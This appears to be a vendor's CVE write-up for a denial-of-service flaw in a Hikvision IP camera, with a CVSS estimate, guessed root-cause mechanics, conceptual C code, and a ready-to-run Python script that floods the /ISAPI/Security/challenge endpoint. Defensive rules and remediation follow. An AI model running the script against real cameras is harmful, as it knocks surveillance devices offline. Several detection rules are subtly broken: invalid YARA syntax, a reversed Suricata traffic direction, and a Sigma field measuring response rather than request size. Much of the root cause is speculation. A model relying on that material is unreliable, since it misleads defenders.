CVE-2025-45851
Executive Summary
CVE-2025-45851 is a Denial of Service (DoS) vulnerability affecting the Hikvision DS-2CD1321-I IP camera running firmware version V5.7.21 build 230819. An unauthenticated attacker can exploit this flaw by sending a crafted POST request to the /ISAPI/Security/challenge endpoint, causing the device to become unresponsive. The vendor has confirmed that upgrading to firmware version V5.7.23_SP2 resolves the issue. This vulnerability poses a significant risk to physical security systems, as it can disable surveillance cameras, creating blind spots for attackers.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device (IP camera). The supply chain risk lies in the distribution of vulnerable firmware versions by Hikvision and its resellers. Organizations should verify the firmware version of all Hikvision DS-2CD1321-I cameras in their inventory and ensure they are updated to the patched version.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The device becomes completely unavailable.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and it directly impacts the availability of critical surveillance infrastructure.
Deep Dive & Mechanics
The vulnerability resides in the /ISAPI/Security/challenge endpoint of the Hikvision DS-2CD1321-I camera. This endpoint is part of the ISAPI (Intelligent Security API) interface, which is used for device management and authentication.
Root Cause: The endpoint does not properly validate or limit the size or frequency of POST requests. When a crafted POST request is sent, it triggers a resource exhaustion condition within the device's firmware. This could be due to:
- Buffer Overflow: The request payload may overflow a fixed-size buffer, corrupting memory and causing a crash.
- Infinite Loop/Resource Lock: The request may cause the device to enter an infinite loop or deadlock, consuming all CPU cycles.
- Memory Exhaustion: The device may attempt to allocate excessive memory to process the request, leading to an out-of-memory condition.
Attack Flow:
- The attacker identifies a vulnerable Hikvision camera on the network (e.g., via Shodan or network scanning).
- The attacker sends a specially crafted POST request to
http://<camera-ip>/ISAPI/Security/challenge. - The camera processes the request, triggering the vulnerability.
- The camera becomes unresponsive (DoS), requiring a physical power cycle to recover.
Vulnerable vs. Patched Code
The exact code changes are not publicly available, but based on the vendor's advisory, the fix is included in firmware version V5.7.23_SP2. The patch likely involves:
- Input Validation: Adding checks to ensure the POST request body is within acceptable size limits.
- Resource Limits: Implementing rate limiting or resource quotas for the
/ISAPI/Security/challengeendpoint. - Error Handling: Improving error handling to gracefully reject malformed requests without crashing.
Vulnerable Code (Conceptual):
// Vulnerable: No size check on request body
void handle_challenge(char *request_body) {
char buffer[256];
strcpy(buffer, request_body); // Potential buffer overflow
// ... process challenge
}
Patched Code (Conceptual):
// Patched: Size check and safe copy
void handle_challenge(char *request_body, size_t body_len) {
char buffer[256];
if (body_len >= sizeof(buffer)) {
// Reject oversized request
send_error(400, "Bad Request");
return;
}
strncpy(buffer, request_body, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... process challenge
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Hikvision DS-2CD1321-I camera (firmware V5.7.21 build 230819).
- Network access to the camera's HTTP interface (default port 80).
- Python 3.x with
requestslibrary.
Exploit Script:
#!/usr/bin/env python3
import requests
import sys
def exploit(target_ip):
url = f"http://{target_ip}/ISAPI/Security/challenge"
# Crafted payload to trigger DoS (e.g., large body or malformed XML)
payload = "A" * 10000 # Large payload to cause buffer overflow
headers = {"Content-Type": "application/x-www-form-urlencoded"}
print(f"[*] Sending malicious POST request to {url}")
try:
response = requests.post(url, data=payload, headers=headers, timeout=10)
print(f"[*] Response: {response.status_code}")
except requests.exceptions.Timeout:
print("[!] Request timed out - camera may be down")
except requests.exceptions.ConnectionError:
print("[!] Connection refused - camera is likely down")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Usage:
python3 exploit.py 192.168.1.100
Expected Outcome: The camera becomes unresponsive. It will not respond to ping or HTTP requests until physically rebooted.
Blue Team (Defensive)
Lab Setup:
- Deploy a vulnerable Hikvision camera in an isolated network segment.
- Use a network tap or SPAN port to monitor traffic.
- Set up a SIEM (e.g., Wazuh, Splunk) to collect logs from the camera and network.
Detection Steps:
- Network Monitoring: Capture traffic to/from the camera using tcpdump or Wireshark.
- Baseline Traffic: Establish normal traffic patterns for the camera (e.g., periodic keep-alives, video stream).
- Trigger Exploit: Run the exploit script against the camera.
- Observe Anomalies: Look for:
- Sudden spike in POST requests to
/ISAPI/Security/challenge. - Large payload sizes in POST requests.
- Abrupt cessation of camera traffic (no response to pings, no video stream).
- Sudden spike in POST requests to
Mitigation in Lab:
- Implement network access control lists (ACLs) to restrict access to the camera's management interface.
- Use a web application firewall (WAF) to block oversized POST requests.
- Enable logging and alerting for unusual HTTP requests.
Indicators of Compromise (IOCs)
Network IOCs:
- Source IP: Any IP sending POST requests to
/ISAPI/Security/challengewith an abnormally large payload. - Destination IP: IP address of the vulnerable Hikvision camera.
- HTTP Request:
POST /ISAPI/Security/challenge HTTP/1.1 Host: <camera-ip> Content-Type: application/x-www-form-urlencoded Content-Length: [large number, e.g., > 10000] [repeating characters or malformed data] - Traffic Pattern: A single POST request followed by complete silence from the camera (no further HTTP responses, no video stream).
Host IOCs (on the camera):
- Log Entry: The camera may log an error before crashing (e.g., "Out of memory" or "Buffer overflow detected").
- Process Crash: The main HTTP server process (e.g.,
httpd) may crash. - Resource Exhaustion: CPU or memory usage spikes to 100% just before the crash.
File IOCs:
- Crash Dump: If enabled, the camera may generate a crash dump file (e.g.,
/tmp/crashdump.bin).
Detection Engineering
YARA Rule
rule CVE_2025_45851_Hikvision_DoS {
meta:
description = "Detects exploit attempts for CVE-2025-45851 targeting Hikvision cameras"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-45851"
hash = "unknown"
strings:
$s1 = "POST /ISAPI/Security/challenge" ascii wide nocase
$s2 = "Content-Length:" ascii wide nocase
$s3 = "A" * 1000 // Large repeating pattern
condition:
$s1 and $s2 and #s3 > 5
}
Sigma Rule
title: CVE-2025-45851 Hikvision Camera DoS Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /ISAPI/Security/challenge with abnormally large payloads, indicating a DoS attempt against Hikvision cameras.
author: Valters IT
date: 2025/04/10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-45851
logsource:
category: webserver
product: hikvision
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/ISAPI/Security/challenge'
sc-bytes: '> 10000' # Payload size threshold
condition: selection
falsepositives:
- Legitimate firmware updates or configuration changes (rare)
level: high
tags:
- attack.t1499
- cve.2025.45851
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-45851 Hikvision Camera DoS Exploit Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/ISAPI/Security/challenge";
http_uri;
content:"Content-Length|3a|";
http_header;
pcre:"/Content-Length:\s*\d{5,}/";
classtype:attempted-dos;
sid:1000001;
rev:1;
reference:cve,2025-45851;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Firmware: Update all Hikvision DS-2CD1321-I cameras to firmware version V5.7.23_SP2 or later. This is the only official fix.
- Isolate Cameras: Place cameras on a separate VLAN with strict firewall rules. Only allow necessary traffic (e.g., video stream to NVR, management from trusted IPs).
- Disable Unused Services: If the ISAPI interface is not required, disable it via the camera's web interface or configuration file.
Long-Term Measures:
- Network Segmentation: Implement a zero-trust network architecture for IoT devices.
- Web Application Firewall (WAF): Deploy a WAF to inspect and block malicious HTTP requests to camera endpoints.
- Regular Vulnerability Scanning: Use tools like Nessus or OpenVAS to scan for vulnerable firmware versions.
- Monitoring & Alerting: Set up alerts for unusual HTTP requests to camera management interfaces.
- Incident Response Plan: Develop a playbook for responding to camera DoS attacks, including physical reboot procedures.
Workaround (if patching is not immediately possible):
- Block external access to the camera's HTTP interface (port 80/443) at the firewall.
- Use a reverse proxy to filter requests to
/ISAPI/Security/challengeand reject oversized payloads.
Valters IT
Securing Digital Frontiers